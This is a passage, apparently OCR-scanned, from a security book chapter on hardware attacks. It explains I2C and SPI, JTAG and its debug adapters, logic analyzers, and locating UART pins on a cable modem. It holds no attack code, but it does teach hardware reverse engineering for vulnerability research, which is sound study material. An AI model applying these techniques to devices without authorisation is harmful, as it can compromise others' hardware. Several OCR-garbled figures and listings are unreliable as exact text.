the scope of this book.) 

That said, rarely do you need to go into this level of detail thanks to the 
ubiquity of these simple serial protocols. Because these simple serial protocols 
require much less complexity than UART, they can be easily and inexpensively 
embedded into virtually any IC capable of outputting digital data to a few of 
its pins. These serial protocols are commonly found in the wild implemented 
in ICs that do virtually anything, including: 


m Tilt/Motion detection (accelerometers) 

m Clocks 

m Stepper motors 

m Servos 

m Voltage regulators 

m A/D (analog-to-digital) converters 

m Temperature monitors 

m Data storage (EEPROM) 

m LCD/LED displays 

m GPS Receivers (Global Positioning Satellites) 


Because virtually every manufacturer wants its ICs to be easy to interface with, 
TC and SPI are the standard for simple digital communication. For example, IC 
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serial communication is how Nintendo Wii controllers communicate. The cable 
that connects the Nintendo controller to the Nintendo unit uses it. SPI and I?C 
are how most notebook batteries report their remaining charge to software on 
the notebook. Often the logic for regulating the temperature, output, and state 
of a notebook battery is implemented in software on the laptop, which then 
controls the battery via the PC bus. 

Every VGA, DVI, and HDMI cable/device has dedicated °C pins that are used 
as a rudimentary communication channel between the device and the video 
card (or controller). Figure 13-4 depicts the pins involved in the I’C interface of 
common VGA, HDMI, and DVI connectors. 


VGA: 


@02000 


Oooo 
©oe@o 


DVI: 


HDMI: 


17 15 9 7 5 1 
19 a 13° «11 $ 
w 


ip 14 12 10 8 6 4 2 


ZZ 5v Ç) Data 
Ground ® Clock 


Figure 13-4: VGA-DVI-HDMI l?C pins 


When you plug anew monitor into your computer and the computer reports 
the exact make and model, this is because it received that information from the 
monitor itself across two dedicated °C pins in the video cable. 

Even MicroSD and SD cards transfer all their data over an SPI serial bus! That’s 
right, your memory card talks to your computer via SPI, a simple and flexible 
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old-school serial protocol. Figure 13-5 shows the specific pins on the MicroSD 
and SD connectors that are involved in SPI communications. 


Pin sD SPI 
1 CD/DAT3 | CS 
2 CMD DI 
3 VSS1 VSS1 
4 VDD VDD 
5 CLK SCLK 
6 VSS2 VSS2 
7 DATO DO 
8 DAT1 
9 DAT2 X 
Pin sD SPI 
1 8 
‘ 1 DAT2 X 
2 CD/DAT3 | CS 
3 CMD D1 
micro 4 VDD VDD 
SD 5 CLK SCLK 
6 VSS VSS 
7 DATO DO 
8 DATI X 


Figure 13-5: MicroSD and SD cards use SPI 


With these simple examples, hopefully now you've realized how truly ubiq- 
uitous these serial protocols are. Perhaps the most relevant example of where 
these protocols are found is that I’C is commonly found between the application 
processor and the baseband processor in smartphones. In fact, by spying on 
the communication crossing the IC bus, George Hotz (aka GeoHot) was able 
to create the first iPhone jailbreak. By spying on the °C data destined for the 
built-in power controller in MacBook batteries, Dr. Charlie Miller was able to 
reverse engineer how Apple laptop computers controlled their power sources. 


JTAG 


JTAG has become a bit of a loaded buzzword in the security world. We’ve prob- 
ably all been guilty of tossing it around without understanding what it really 
means. This is because the concept seems so simple and familiar: It’s a way to 
debug a chip from a separate computer. But the reality is a bit different than 
you might think. 


432 


Chapter 13 = Hardware Attacks 


By now you've reviewed how simple serial protocols are used by integrated 
circuits to talk to each other and peripherals. You’ve also read how these serial 
interfaces are often used by developers to interface interactively with the operating 
system and boot loaders or to receive debug output from them. All this interac- 
tivity and output can be very useful, but there is another key bit of functionality 
that an embedded developer would likely need for successful development and 
deployment: debugging. 

UART relies on dedicated code executing on the embedded device to handle 
the interface (that is, a shell, an interactive boot loader, and so on). How might 
an embedded developer gain visibility into what the processor is doing with- 
out anything executing on the processor — especially before the processor has 
begun execution or while the processor is paused? On embedded systems, it 
is not merely as simple as installing a software debugger. For example, what if 
your target is running a real-time operating system in which there is no concept 
of user-space or multiple processes? If your debug target is something like an 
RTOS (real-time operating system) or a bare-metal executable in which there is 
one single executable image running, there is really only one other alternative: 
hardware debug interfaces such as JTAG. 

The standards and specifications are beyond the scope of this chapter, but it is 
important that you know that JTAG refers to the IEEE standard 1149.1 “Standard 
Test Access Port and Boundary Scan Architecture.” This standard came into 
existence thanks to a body called the Joint Test Action Group (JTAG) composed 
of OEMs, and developers. JTAG is named after that group and not the standard. 

This is an important point because it sets the stage for misconceptions about 
the technology and also its varied uses. It’s important to keep in mind that JTAG 
is a well-defined standard, but it does not define how software debugging is 
done. It is proof of how it is an often cited but poorly understood concept in 
developer and information security communities. Once these concepts are 
properly understood, they enable developers and researchers to debug and 
intrusively access embedded software to find vulnerabilities. 


The JTAG Myth 


Perhaps the greatest misconception about JTAG is that it is highly standard- 
ized with regard to software debugging. The standard defines a bidirectional 
communication path for debugging and management. In this case, the word 
“debugging” does not have the same meaning as software people are familiar 
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with: watching a program execute. Instead it was initially more focused on 
“debugging” in the electrical engineering context: knowing if all the chips are 
present, checking the state of pins on various chips, and even providing basic 
logic analyzer functionality. Embedded in the lower-level electrical engineering 
debug functionality is the ability to support higher-level software debugging 
functionality. What follows is an explanation as to why this is. 

In reality, JTAG is a more general term to describe a feature of a chip, IC, or 
microprocessor. With regard to firmware and software debugging, it is similar 
to referring to the transmission of a vehicle. The high-level concept is fairly 
easy to understand. The transmission changes the gears of the car. However, 
the intricacies of how a car’s transmission is constructed changes with each car 
manufacturer, which in turn matters immensely when servicing it, dismantling 
it, and interfacing with it for diagnostics. 

As a standard, JTAG sets forth guidelines for these lower-level features and 
functionality as a priority but does not specify how software debugging protocol 
data should be formed. From a software perspective, many JTAG on-chip debug- 
ger (OCD) implementations do tend to work alike and provide a consistently 
minimal amount of functionality. Single stepping, breakpoints, power resets, 
watch-points, register viewing, and boundary scanning are among the core 
functionality provided by most JTAG implementations. Also, the labels that 
denote the JTAG pins in a device (for the most part) use the same notation and 
abbreviations. So even from a functional standpoint it is easy to misunderstand 
what exactly JTAG is. 

The JTAG standard defines five standard pins for communication, which you 
may or may not see labeled on the silkscreen of a PCB or in the specifications 
for chips and devices: 


m TDO: Test Data Out 

m TDI: Test Data In 

m= TMS: Test Mode Select 
m TCK: Test Clock 

m TRST: Test Reset 


Figure 13-6 shows several standard JTAG headers that are used in various 
devices. 

The pin names are basically self-documenting. A software person may imme- 
diately assume that JTAG, as a standard, defines not only the pins but also the 
communication that happens across those pins. This is not so. With regard to 
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software/firmware debugging, the JTAG standard simply defines that two pins 
be used for data transmission: 


m TDO: Test Data Out 
m TDI: Test Data In 


14 pin header 20 pin header 
Vsup — O1 + 20O——GND Vtref —— O1 2 O—~—Vsup 
nTRST — S O—— GND nTRST ——O O—— GND 
TDI — O—— GND TDI — O—— GND 
TMS ——O O—— GND TMS ——O O—— GND 
TCK ——O O-— GND TCK ——O O—— GND 
TDO ——O O—— nSRST RTCK ——O O—— GND 
Vtref ——O 13 14 O—+— GND TDO ——O O—— GND 
nSRST ——O O—— GND 
DGBRQ ——O O—— GND 
DGBACK ——O 19 20 O-+— GND 


Figure 13-6: JTAG header diagram 


It then goes on to define some commands and the format of commands that 
should be transmitted over those pins (for broader JTAG functionality) but does 
not specify what kind of serial protocol should be used for that data. JTAG also 
specifies different modes for any device connected to the JTAG bus: 


m BYPASS: Just pass data coming in on TDI to TDO 


m EXTEST (External test): Receive command from TDI, get external pin state 
information, and transmit on TDO 


m INTEST (Internal test): Get internal state information and transmit on 
TDO; also do “other” user-definable internal things 


For all software/firmware debugging communication that happens across the 
data pins of a JTAG interface, it is up to the vendor to implement in the user- 
definable INTEST mode of JTAG communication. And indeed that’s where all 
the software debugging stuff that we, as reverse engineers and vulnerability 
researchers, care about is contained. All software and firmware debugging 
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information is transmitted between a chip and a debugger and is done so 
independent of the JTAG specification by making use of the “user definable” 
INTEST portion of JTAG specification. 

Another common misconception is that JTAG is a direct connection to a 
single processor or that it is specifically for the debugging of a single target. In 
fact, JTAG grew out of something called boundary scanning; which is a way 
to string together chips on a PCB to perform lower-level diagnostics, such as 
checking pin states (EXTEST mentioned earlier), measuring voltages, and even 
analyzing logic. So JTAG is fundamentally meant to connect to more than just 
a single chip. Figure 13-7 shows how several chips could be connected together 
to form a JTAG bus. 


TMS 


TMS 


DEVICE 1 DEVICE 2 TCK DEVICE 3 


TDO TDI TDO 


Figure 13-7: Chaining on a JTAG Bus 


As such, the JTAG specification has one master and a number of slaves. 
Therefore it allows for daisy chaining multiple processors in no particular 
order. The master is often the debugger hardware (such as your PC and JTAG 
debugger adapter) or diagnostic hardware. All the chips on the PCB are generally 
slaves. This daisy-chaining is an important thing to note for reverse engineers 
because often a JTAG header on a commercial product will connect you to the 
core processor as well as to peripheral controllers, such as Bluetooth, Ethernet, 
and serial devices. Understanding this simple fact saves time and frustration 
when configuring debugger tools and wading through debugger documentation. 

The JTAG specification sets no requirement for device order. Understanding 
the fact that slaves never initiate communications makes using and examining 
JTAG devices much easier. For example, you can assume with certainty that 
your debugger will be the only “master” in the chain. Figure 13-8 shows an 
example of how communications paths would look with a master connected. 
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i<——_+—————_; Device5 }<———_ Device 4 


TMS 
Standard oo 
computer TCK g 
with JTAG B 
interface TRST a 


c Device 1 h Device 2 


Figure 13-8: JTAG daisy-chaining 


Hopefully you now see that JTAG was predominantly for electrical engineer- 
ing debugging. As software developers, reverse engineers, and vulnerability 
researchers, what we care about is debugging the software or firmware on a 
device. To that end, the JTAG specification loosely designates pins and labeling 
for use in software/firmware debugging. That data is transmitted with serial 
protocols! 

The JTAG specification does not specify which serial protocol is to be used 
or the format of the debugging data transmitted. How could it if JTAG is to be 
implemented on virtually any kind of processor? This fact is at the heart of the 
implementation differences and indeed the core misconception about JTAG in 
developer communities. 

Each JTAG implementation for firmware and software debugging can use 
different data formats and be different even down to how it is wired. As an 
example, Spy-Bi-Wire serial communication is the transport used in the JTAG 
implementation for Texas Instrument’s MSP430 series of microprocessors. It 
uses only two wires where the traditional JTAG implementation might use 
four or five lines. Even though a header on a MSP430 target may be referred 
to as JTAG or have JTAG labels on the silkscreen of the PCB, the serial pins of 
the JTAG connection use Spy-Bi-Wire. Therefore a hardware debugger needs 
to understand this pin configuration and serial protocol to pass the data to a 
software debugger. (See Figure 13-9.) 

In Figure 13-9, you can see the traditional 14-pin JTAG header on the left, of 
which only two lines are used for data by the Spy-By-Wire MSP430 processor 
on the right (RST/NMI/SBWTDIO and TEST/SBWTCK). In addition to the 
physical wiring being different, sometimes the actual wire-line protocol (the 
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debugger data flowing across the TDO and TDI pins inside the INTEST user- 
defined sections) can be different. Consequently, the debugger software that 
speaks to the target must also be different. This gave rise to a number of dif- 
ferent custom debugging cables, debugging hardware, and debugger software 


for each individual device! 


Vec 
a A 
o 
; J1 (see Note A) l > Voo/AVeo/DVec 
© J2 (see Note A) ii 
— RI C2 | 63 
10uF | O.1uF 
47 kQ 
(see Note B) Š T als MSP430Fxxx 
JTAG a 
VCC TOOL | 5 4 | 1D0/TDI è RST/NMI/SBWTDIO 
VCC TARGET | 4 gl. 

x— 6 5 }—x 

TEST/VPP TCK 
8 T 
x— 10 my GND R2 
x12 11 —x 3 i 
14 13 (see Note C) 
— è TEST/SBWTCK 
a a H Vss/AVss/DVss 
(see Note B) 


Figure 13-9: Spy-Bi-Wire comparison 


But don't be intimidated! We only explain this as background information. 
We offer it to you to help avoid the inevitable disappointment that would come 
when sitting down to try JTAG with the incorrect assumption that JTAG is a 
highly standardized and universal debugging silver bullet. You need an under- 
standing of JTAG so that you know what tools to get and why. 


JTAG Babel Fish 


Fortunately, there are a handful of companies that recognized the need for 
a Babel fish (a universal translator) to help make sense of all the different JTAG 
implementations. Vendors like Segger, Lauterbach, and IAR have created PC-based 
software and flexible hardware devices that do all the magic translation so 
that you can use their single devices to talk to different JTAG-enabled 


hardware devices. 
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JTAG Adapters 


These universal JTAG debuggers are very much like universal television remotes. 
The vendors that create these debuggers publish long supported device lists 
that catalog hundreds or thousands of IC/microprocessor serial numbers that 
a given JTAG debugger is known to reliably support. Also much like television 
universal remotes; the more features, programmability, and supported devices 
a debugger can support, the higher the cost. This is an important thing to keep 
in mind if you are purchasing for a specific project. Be sure that your target is 
supported by the JTAG debugger you are purchasing. 

Perhaps the most popular JTAG debugger, and the one most readers will find 
more than adequate, is the Segger J-Link, shown in Figure 13-10. The relatively 
low cost and extremely long list of supported devices makes it the go-to JTAG 
debugger for developers. There are different models of J-Link, varying in fea- 
ture sets, but the core universal debugger functionality is common to them all. 


Figure 13-10: Segger’s J-Link 


To begin debugging, you simply plug the J-Link hardware into your com- 
puter via USB and then attach the J-Link box to your target chip via a ribbon 
cable or jumpers that you wire yourself (which is covered in the “Finding JTAG 
Pinouts” section later in this chapter). The Segger software then speaks to the 
J-Link device giving you control of the hardware device. The J-Link software 
will even act as a GNU Debugger (GDB) server so that you can debug a chip 
from a more familiar GDB console! Figure 13-11 shows GDB attached to the 
Segger J-Link’s debugger server. 
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Read 2 bytes @ address Ox000000FD (Data = Ox0000BE) 
Reading 253 bytes @ addres= 0x00000100 

Read 3 bytes @ address 0x000001FD (Data = OxF2C203) 
Reading 253 bytes @ address 0x00002600 

Read 3 bytes @ address 0x000026FD (Dats = Ox255ABF) 


J-Link ARM V4,58a 
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Figure 13-11: Segger J-Link and GDB screenshot 


Although the J-Link is the most popular debugger, there are more industrial 
debuggers, like those made by Lauterbach, that are highly advanced and boast 
the most device support. Lauterbach’s debuggers are pretty astounding but they 
are also prohibitively expensive. 


OpenOCcD 


Another commonly discussed JTAG solution is OpenOCD (Open On Chip 
Debugger). Unlike the previously mentioned commercial tools which bundle 
all the software and hardware you need to immediately start working with 
JTAG on a device, OpenOCD is merely an open-source piece of software. The 
mission behind OpenOCD is to support a range of JTAG adapters and target 
devices (meaning the chip you are attempting to debug) that are then accessed 
from a standard GDB debugger interface (or any interface capable of talking to 
a GDB server). 
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Remember, the JTAG adapter itself handles all the signaling to the chip and 
then translates that to a PC via a USB, serial, or parallel port connection. But 
then a piece of software needs to speak the wire-line protocol to understand and 
parse that protocol and translate it into something a debugger can understand. 
OpenOCD is that software. In commercial solutions, both this software and the 
adapter hardware are bundled together. 

OpenOCD is commonly used with JTAG adapters that don't include software 
such as the Olimex adapters, the FlySwatter, the Wiggler, and even the Bus Pirate 
(which is covered for other purposes later in this chapter in the “Talking to IC, 
SPI, and UART Devices” section). OpenOCD even works with many commercial 
JTAG adapters such as the Segger J-Link. 

If you are well informed about a target’s pinouts, your JTAG adapter is well 
supported, your wiring is correct and reliable, and you've configured OpenOCD 
for all of these issues, using OpenOCD can be fairly simple. Installing it can 
be as easy as downloading it using apt-get or other application downloaders. 
When you have it, you merely launch OpenOCD as a command-line tool, as 
shown in the following code: 


[s7ephen@xip ~]$ openocd 
Open On-Chip Debugger 0.5. 0-dev-00141-g33e5dd1 (2010-04-02-11:14) 
Licensed under GNU GPL v2 
For bug reports, read 
http://openocd. berlios.de/doc/doxygen/ bugs. htm 
RCLK - adaptive 
Warn : omap3530.dsp: huge IR length 38 
RCLK - adaptive 
trst_only separate trst_push_pul 
Info : RCLK (adaptive clock speed) not supported - fallback to 1000 kHz 
Info : JTAG tap: omap3530.jrc tap/device found: 0x0b7ae02f (mfg: 0x017, 
part: Oxb7ae, ver: 0x0) 
Info : JTAG tap: omap3530.dap enabled 
Info : omap3530.cpu: hardware has 6 breakpoints, 2 watchpoints 


This chapter skips a bit of configuration, such as creating/editing the main 
openocd. cfg file as well as the interface, board, and target-specific configura- 
tion files. The devil really is in the details with OpenOCD. When it is running, 
you can connect to OpenOCD via telnet where a command-line interface (CLI) 
is waiting: 

[s7ephen@xip ~]$ telnet localhost 4444 

Trying 127.0.0.1... 

Connected to localhost 

Escape character is '*]', 


Open On-Chip Debugger 
> 
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When connected with OpenOCD, there is a very comfortable online help for 
the CLI that will get you started: 


debug_level 
drscan 


dump_i mage 

exit 

ast 

ast_load 
ast_load_image 
ind 

ush_count 
2232_device_desc 


2232_latency 
2232_layout 


2232_serial 
2232_vid_pid 


gdb_breakpoint_override 


gdb detach 


gdb_flash_ program 
gdb_memory_map 
gdb_port 


gdb_report_data_abort 


halt 
help 
init 


interface 
interface list 
irscan 


interface. 


list or set breakpoint [<address> <length> [hw] 
<name> - prints out target options and a comment 
on CPU which matches name 

adjust debug level <0-3> 

execute DR scan <device> <num bits> <value> 
<num_bitsl> <value2>.. 

dump_image <file> <address> <size> 

exit telnet session 
ast <enable/disable>- place at beginning of 
config files. Sets defaults to fast and dangerous. 


oads active fast load image to current target 
ainly for profiling purposes 

same args as load_image, image stored in memory 
ainly for profiling purposes 

<file> - print full path to file according to 
OpenOCD search rules 
eturns number of times the JTAG queue has been 
ushed 
the USB device description of the FTDI FT2232 
device 

set the FT2232 latency timer to a new value 
t 

c 

t 


he layout of the FT2232 GPIO signals used to 
ontrol output-enables and reset signals 

he serial number of the FTDI FT2232 device 

the vendor ID and product ID of the FTDI FT2232 
device 
hard/soft/disable - force breakpoint type for gdb 
"break' commands 
resume/reset/halt/nothing - specify behavior when 
GDB detaches fromthe target 

enable or disable flash program 

enable or disable memory map 

daemon configuration command gdb_port 

enable or disable reporting data aborts 

halt target 
Tcl implementation of help command 

initializes target and servers nop on subsequent 
invocations 
try to configure interface 

list all built-in interfaces 

execute IR scan <device> <instr> [dev2] [instr2] 


Notice the similarities between this interface and the J-Link Commander 
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When attempting to attach a JTAG adapter to a commercial product, you 
often don’t have a standard or labeled JTAG pinout. You may also not know if 
the JTAG port is enabled. For these reasons, deploying OpenOCD against an 
unknown or commercial target can be fraught with peril or frustration because 
you have many independent variables such as the following: 


m Is JTAG even active on the target device? 
m What are the pinouts (that is, where are TDI, TDO, TCK, TRST, and TMS) ? 


m I know the correct pinouts from the target, but are the jumpers and con- 
nectors I connected working properly? 


m Is OpenOCD talking to the adapter properly via the right adapter driver? 


m Is OpenOCD parsing the wire-line protocol for this target device properly 
via the correct interface transport? 


m This exact target device model number is similar to the target I declared in 
OpenOCbD, but it is not an exact match. Does that matter for this to work? 


For all these reasons, using a commercial JTAG interface (like the Segger) with 
a clearly specified supported adapter list can save a lot of time and heartache. 
Because commercial JTAG interfaces come bundled with all the supporting 
software, the process is much smoother. Should you choose (or be required) to 
use OpenOCD, the next best thing to try is to obtain an evaluation kit for the 
chip that you are targeting. 


Evaluation Kits 


Evaluation kits are the standard way that engineers and designers find the right 
products for their systems. Virtually every commercial processor and controller 
will have an evaluation kit created by the manufacturer. They are often very low 
cost, ranging from free to $300 (many are about $100). In general, it behooves 
manufacturers to make evaluation kits cheap and accessible for people that 
might be developing products that use their processors. 

Some manufacturers even go so far so to provide reference designs that 
bundle the Gerber files (the 3D model and wiring specifications) of the evalua- 
tion kits themselves along with the Bill Of Materials (BOMs) so that embedded 
engineers can quickly manufacture their own products without building a 
whole PCB around the processor from scratch. In this way, evaluation kits can 
also be immensely useful to reverse engineers and vulnerability researchers. 
Figure 13-12 shows the STMicro ARM development kit. 

The primary way that these evaluation kits are useful to reverse engineers is 
with regard to debuggers. The evaluation boards contain all that is needed for 
a developer to debug, program, and interface with a processor. They may also 
provide any specifications about security features of the processor that might’ve 
been employed by the manufacturer to protect the product. 
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Figure 13-12: STMicro ARM development kit 


You can use the evaluation kits as a control environment to test your debug- 
ging setup with software like OpenOCD. By building this kind of control envi- 
ronment you can test your debugger setup under ideal conditions to eliminate 
some of the independent variables discussed earlier. Having eliminated those, 
you can be confident that your debugger setup should work if your wiring is 
correct (to the target) and the device has JTAG enabled. 


Finally Connected 


After you have a debugger device connected to your target chip, either by a 
programming header or hand-wired connections, the debugger software notifies 
you that the debugger device is successfully connected to the target. In the case 
of the Segger J-Link, you can begin using GDB against the target immediately 
as shown in Figure 13-13. 


Finding Debug Interfaces 


Now that you have had an overview of the kinds of interfaces you might encoun- 
ter (and how they work), you need to know what to do when you suspect you've 
found one. How do you know which pins do what? How do you get those pins 
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connected to your tools? There are a number of tricks and tools that you may 
deploy to assist with making determinations about protocols and formatting. 


<2, C:\Program Files (x86)\SEGGER \JLinkARM_V444d\JLinkGDBServerCL.exe H -lol x| 
SEGGER J-Link GDB Server U4.44d 


JLinkARM.d11 V4.44d <DLL compiled Mar 26 2012 18:47:16) 


The server has been started with the following settings: 
—--Server related settings——— 

GDBInit file: none 

Listening port: 2331 

SWO thread listening port: 2332 

Accept remote connection: localhost only 

Logfile: 


Single run mode: 

——-J-Link related settings-——— 
J-Link script: none 
Target interface: JTAG 
Host interface: USB 
Target endian: little 
Target interface speed: SkHz 


Waiting for J-Link connection... 
J-Link is connected. 
e: J-Link ARM U8 compiled Mar 19 2012 16:24:49 
[s] 


Listening on TCP/IP port 2331 
Connecting to target... 


J-Link found 2 JTAG devices, Total IRLen = ? 

JTAG ID: @x3BAGB477 <Cortex-M3> 

Waiting for GDB connection... 

Connected to 127.0.0.1 

Reading all registe 

Read 4 bytes @ addr Gx86G68006 <Data = @x2808003FC> 


Figure 13-13: J-Link debugging the STM32 ARM devkit 


This section lists several simple tools that you can use to identify and talk to 
all the interfaces we've discussed so far in this chapter (JTAG, PC, SPI, UART, 
and so on). Later sections of this chapter discuss how you can connect and 
interface with these tools in more detail. 


Enter the Logic Analyzer 


Perhaps the most useful tool for determining what a pin is used for is a logic 
analyzer. These devices have a rather intimidating name, especially for software 
people, but in reality they are very simple. These devices just show you what 
is happening on a pin. You connect a probe from the device and if there is data 
being transmitted on a pin it shows you the square wave of that data and even 
attempts to decode it for you using a number of different filters. 

Traditional logic analyzers were a bit more complex, but new generations 
of them connect to computer-based applications that eliminate the esoteric 
nature of these devices. These kinds of logic analyzers themselves have no user 
interface on the device itself and instead are controlled entirely by user-friendly 
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and intuitive computer-based applications. One such device is the Saleae Logic 
Analyzer, shown in Figure 13-14. 


Figure 13-14: Saleae Logic Analyzer 


Using the Saleae, you can connect the color-coded electrodes to pins on your 
target device, which enables using the software application (that receives data 
from the Saleae via USB) to capture activity. The results are displayed in the 
interface corresponding to the color of the pins of the electrodes, as shown in 
Figure 13-15. 
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Figure 13-15: Saleae Logic Analyzer in action 
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As if this was not useful enough for the layperson, Saleae included a bunch 
of other useful functionality in the application. For example, filters attempt to 
decode a captured data stream as a bunch of different types such as IC, SPI, 
and asynchronous serial (UART) at varying baud rates. It will even attempt 
to identify baud rates automatically. Figure 13-16 shows the filters commonly 
supported by the Saleae software. 


Options 


2M Samples "EY 2 viz i Stat | 


+0.4ms +0,5ms 
v X 


Save Session 


Load Session 


m sees PEAN 


» 
Analyzer 2 ail 
— à Analyzer 3 , 
EH Input 3 
a nE aes A 
= m Use this analyzer to decode 12C information in your data. 


4 Asynchronous S 
i a an Export Data > 


f lalele] UNI/O® Bus 
A 6S 


Save Screenshot 


Save Screenshot Region 
Trigger + 
Preferences 


Software Updates are Available 
User's Guide (Online) 
Give Feedback / Report Issue 


Figure 13-16: Saleae Logic Analyzer filters 


These filters act much like Wireshark’s protocol dissectors, allowing you to 
quickly view the captured data as if it were being parsed as different formats. 
The Saleae interface even overlays the byte encoding on the square wave form 
in the interface, as shown in Figure 13-17. 
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Figure 13-17: Saleae Logic Analyzer byte display 


From this, you can generally immediately identify a UART signal (if not by 
the filters then by eye) as most UART connections are used for transmission of 
ASCII text. 
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Lastly, Saleae exports this decoded data as a binary file (for you to parse 
yourself) or as a comma-separated value (CSV) file with some metadata included 
(such as timing, pin number, etc.). This is very useful for further analysis or 
logging purposes. 


Finding UART Pinouts 


Finding UART pinouts is crucial, as UART is often used as a means to transmit 
debug output or to provide shells or other interactive consoles to a developer. 
Many production-grade products go to market not only with these interfaces 
active, but with the pins overtly exposed. In 2010 and 2011, Stephen A. Ridley 
and Rajendra Umadras demonstrated this fact in a series of talks in which 
they discussed a specific brand of cable modem being distributed by the home 
Internet service providers in the New York City metropolitan area. This series 
of home cable modems used a Broadcom BCM3349 series chip (specifically the 
BCM3349KPB) for which the four UART pins were exposed on the PCB in the 
small four-pin header shown in Figure 13-18. 


Figure 13-18: Broadcom BCM3349 4-pin header 


In this case, there was little knowledge about what the pins on that header 
were or what they were responsible for. As a precautionary measure, a voltmeter 
was first connected to those pins as shown in Figure 13-19. 
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Figure 13-19: Broadcom BCM3349 voltage test 


This was done to be sure that they didn’t carry a voltage that would burn the 
analysis equipment. Additionally, the pin that carried no voltage would likely 
be the ground pin. 

The presence of 3.3 volts, as shown in Figure 13-19, generally (but not always) 
implies that the target pin is used for data as most supply voltages (or lines used 
exclusively to power devices and not transmit data) are around 5 volts. This was 
a first indication that these pins might have serial data. 

Next, the Saleae was connected to each pin, with each electrode connected 
to the pin in question. In the Saleae user interface, the color of each graph area 
corresponds directly to the color of each electrode on the physical device, which 
makes referencing it very simple. Recording data from the Saleae was started 
while power cycling the cable modem. The prevailing assumption was that the 
cable modem would likely output data during its boot sequence as the device 
powered on. After several recordings of boot sequences, the square waves shown 
in Figure 13-20 were observed on the pins. 

The regularity of the square wave on Input 3 (which was red) indicated that 
the pin that the red electrode was connected to was likely a clock pin. Clock pin 
signals generally accompany data signals. They are the metronome to which 
the sheet music of data is played. They are important for the recipient to know 
the timing of the data it is receiving. The regularity of that square wave and 
subsequent irregularity of the adjacent input (Input 4) indicate that both a clock 
and data pin have both been observed simultaneously. 

Using the Saleae functionality further, this hypothesis was tested by running 
the captured square waves through some of the built-in filters or analyzers. 

After this Analyzer has run, it overlays the suspected byte values for each 
corresponding section of the square wave, depicted in Figure 13-21. It will also 
display the suspected baud rate. 
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Figure 13-20: Broadcom BCM3349 Saleae pin test 
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Figure 13-21: Broadcom BCM3349 Saleae Bytes 


This data was output to the computer’s file system as CSV data and then 
cleansed using a simple python script like the following: 


#!/usr/bin/env python 


import csv 
reader = csv.reader(open("BCM3349 capture. csv", "rb")) 
thang = "" 


for row in reader: 
thang = thangtrow[1] 
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thang = thang.replace("\\r", "\x0d") 
thang = thang.replace("\\n", "\x0a") #clean up Windows CR/ LF 
thang = thang.replace("''","") #Cleanse Saleae CSV output quotes 


#print thang 


import pdb; pdb.set_trace() # drop into an "in scope" 


Executing this Python script enables you to view the CSV data and manipulate 
it interactively from a familiar Python shell. Printing the variable t hang yielded 


the output shown in Figure 13-22. 


As you can see, the data captured across those overt pins is in fact boot 
messages from the device. The device goes on to boot a real-time operating 
system called eCos. The researchers that presented this technique went on to 
explain that the cable modem was also running an embedded webserver that 
they fuzzed. Stack-traces of the crashes caused by fuzzing were printed on the 
UART serial port shown in Figure 13-23. This information assisted in exploita- 


tion of the device. 


Python interpreter 


SARidleys—MacBook-Air:Desktop sa7$ ./thing.py 
—-Return-- 

> /Users/sa7/Desktop/thing. py(11)<module>()-—>None 
-> import pdb; pdb.set_trace() 

(Pdb) print thang 

Value'246'@ 

MemSize:" ‘ssesssesveusveusseusssese ' "8M 

Flash' ‘detected' '@@xbe000000 


Signature:' 'a806 


Broadcom' 'BootLoader' 'Version:' '2.1.6d' ‘release’ ‘Gnu 
Build' 'Date:' ‘Apr’ '29' '2004 
Build’ 'Time:' ‘17:54:32 


Image' '1' 'Program' ‘Header: 
J "Signature:' 'a806 

‘Control:' ‘@005 

J ‘Major’ 'Rev:' '@400 

s 'Minor' 'Rev:' '@4ff 

' 'Build' 'Time:' '2004/5/8' '04:33:27' 'Z 
' 'File’ 'Length:' '756291' 'bytes 

Load' 'Address:' '80010000 

4 'Filename:' 'ecram_sto.bin 

J "HCS:' '440a 

S 'CRC:' '9@0cc24e0 


Image' '2' 'Program' ‘Header: 
£ 'Signature:' 'a806 


i 'Control:' '0005 


Figure 13-22: Broadcom BCM3349 bootloader 
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rQ/zero=00000000' ‘ri/at' '=00000000' 'r2/v0' ‘=ffffffff' 'r3/v1' '=801f965c 

r4/aQ' '=00000010' 'r5/a1' '=00000000' 'r6/a2' '=801f9a9c' 'r7/a3' '=801f9c88 
r8/t®' '=80549184' 'r9/t1' '=00000002' 'r10/t2' '=36313733' 'r11/t3' '=37303030 
r12/t4' '=00281f40' 'r13/t5' ‘=ffffffff' 'r14/t6' '=ffffffff' ‘r15/t7' '=801f965c 
r16/s0' '=807ee210' 'r17/s1' '=00000000' 'r18/s2' '=80300000' 'r19/s3' '=80300000 
r20/s4' '=80549184' 'r21/s5' '=80555b@0' 'r22/s6' '=11110016' ‘r23/s7' '=11110017 
r24/t8' '=0028e550' 'r25/t9' ‘=ffffffff' 'r26/k0' '=805548a8' 'r27/k1' '=00000000 
r28/gp' '=80554808' 'r29/sp' '=80554880' 'r30/fp' '=80555f80' 'r31/ra' '=80022674 


‘error’ ‘addr:' '@x80022650 
‘status: ' *Qx1000fc00 


PC' ':' '@x80022674' 
cause:' 'Q@x807ee210' 


BCM' ‘interrupt' ‘enable:' 'fffffff7' ‘status:' ‘00000000 


‘from' '801fd150 
‘from' ‘801faca4 
‘from' ‘80138098 
‘from' ‘80135964 
‘from' '80137cb8 
‘called' 'from' '801fbea8 
‘called' 'from' '801fbb7c 
‘called' 'from' '801fbed8 
‘called' 'from' '80205ae4 
‘called' 'from' '8001037c 
'Return' ‘address' '(00000000)' ‘invalid' 'or' ‘not' ‘found.' 


entry’ '800225fQ' 
entry’ ‘'801fd054' 
entry’ '8@1fac9c' 
entry' '80138064' 
entry’ '801358f8' 
entry’ '80137c54' 
entry' '801fbe98' 
entry' '801fbb58' 
entry’ '801fbec8' 
entry’ '80205ad4' 
*80010358' 


‘called’ 
‘called' 
‘called' 
‘called' 
‘called’ 


Task:' ‘tHttpd 


ID:' *Q@x0026 
Handle: ' '0x807ee210 
Set' 'Priority:' '29 


'Trace' ‘stops. 


Figure 13-23: Broadcom BCM3349 crash 


Finding SPI and PC Pinouts 


The process of finding SPI and I’C devices is similar to that of finding UART. 
However, SPI and I’C are generally used locally on the PCB to pass data between 
chips. As such, their functionality and usability can make them a bit differ- 
ent to identify. However, they will occasionally leave the PCB and be used for 
peripherals (often proprietary). The canonical example of this is the Nintendo 
Wii controllers and other game consoles that often use SPI as a way to connect 
to the main game console for wired connections. The pinout for this connector 


is shown in Figure 13-24. 


Clock GND 


3.3V Data 


Figure 13-24: Wii nunchuck pinout 


The data transmitted on these SPI pins varies based on how the manufacturer 
of the device (or controller) chooses to format it. In this way, the data across an 
